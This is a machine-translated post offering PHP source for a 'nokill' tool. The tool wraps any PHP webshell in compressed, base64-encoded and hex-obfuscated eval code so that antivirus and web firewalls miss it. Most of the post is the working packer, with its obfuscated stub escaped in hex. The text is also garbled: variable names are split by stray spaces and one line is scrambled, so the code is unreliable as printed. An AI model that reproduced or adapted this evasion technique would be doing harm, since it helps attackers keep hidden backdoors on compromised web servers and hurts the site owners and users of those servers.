Lostwolf wrote it.
It's not Webshell, it's just a webshell tool.
Do not use the original Webshell
Kill Phpwebshell Only
The tool runs in CLI mode!
If there is an inability to break through the contents of the file filter can try to use this tool to avoid killing the big horse!
arbitrary PHP Webshell Through this tool code can be spared some of the domestic BT firewall
Copy Code code as follows:
<?php
/*
title:php Shell Nokill t00l
Blog:exploit-db.blogcn.com
*/
error_reporting (0);
@ini_set (' Memory_limit ', '-1 ');
Set_time_limit (0);
$toolname = "$argv [0]";
if ($ARGC <2) {
Baner ($toolname);
Die
}
$input _file= Trim ($argv [1]);
$output _file= ' Nokill_ '. $input _file;
if (file_exists ($input _file)) {
NO_KILL_C0DE ($input _file, $output _file);
echo "PHP shell Nokill t00l\r\n";
echo "blog:exploit-db.blogcn.com\r\n";
echo "Input: {$input _file}\r\n";
$file _full_path=dirname (__file__). Directory_separator. $output _file;
echo "[+] Generate success!\r\n";
echo "Saved to {$file _full_path}". \ r \ n ";
} else {
echo "PHP shell Nokill t00l\r\n";
echo "blog:exploit-db.blogcn.com\r\n";
Die ("[-] Failed! The File $input _file does not exist ");
}
function no_kill_c0de ($input _file, $output _file) {
$no _whitespace=php_strip_whitespace ($input _file);
$no (Trim ($no _whitespace, ' <?php '), ' _php_tag=trim '), '?> ');
$enfile =base64_encode (gzdeflate ($no _php_tag));
$shellcode = "\x3c\x3f\x70\x68\x70\xd\xa";
$shellcode. = ' $enfile = '. '. ' {$enfile} '. ' '. ' \xd\xa ";
$shellcode. = "\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\ X66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\ X66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\ X27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\ X58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\ X5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\ X28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa ";
$shellcode. = "\x3f\x3e";
File_put_contents ("$output _file", $shellcode);
}
function Baner ($toolname) {
echo "PHP shell Nokill t00l\r\n";
echo "blog:exploit-db.blogcn.com\r\n";
echo "Usage: {$toolname} phpwebshell\r\n";
}
?>
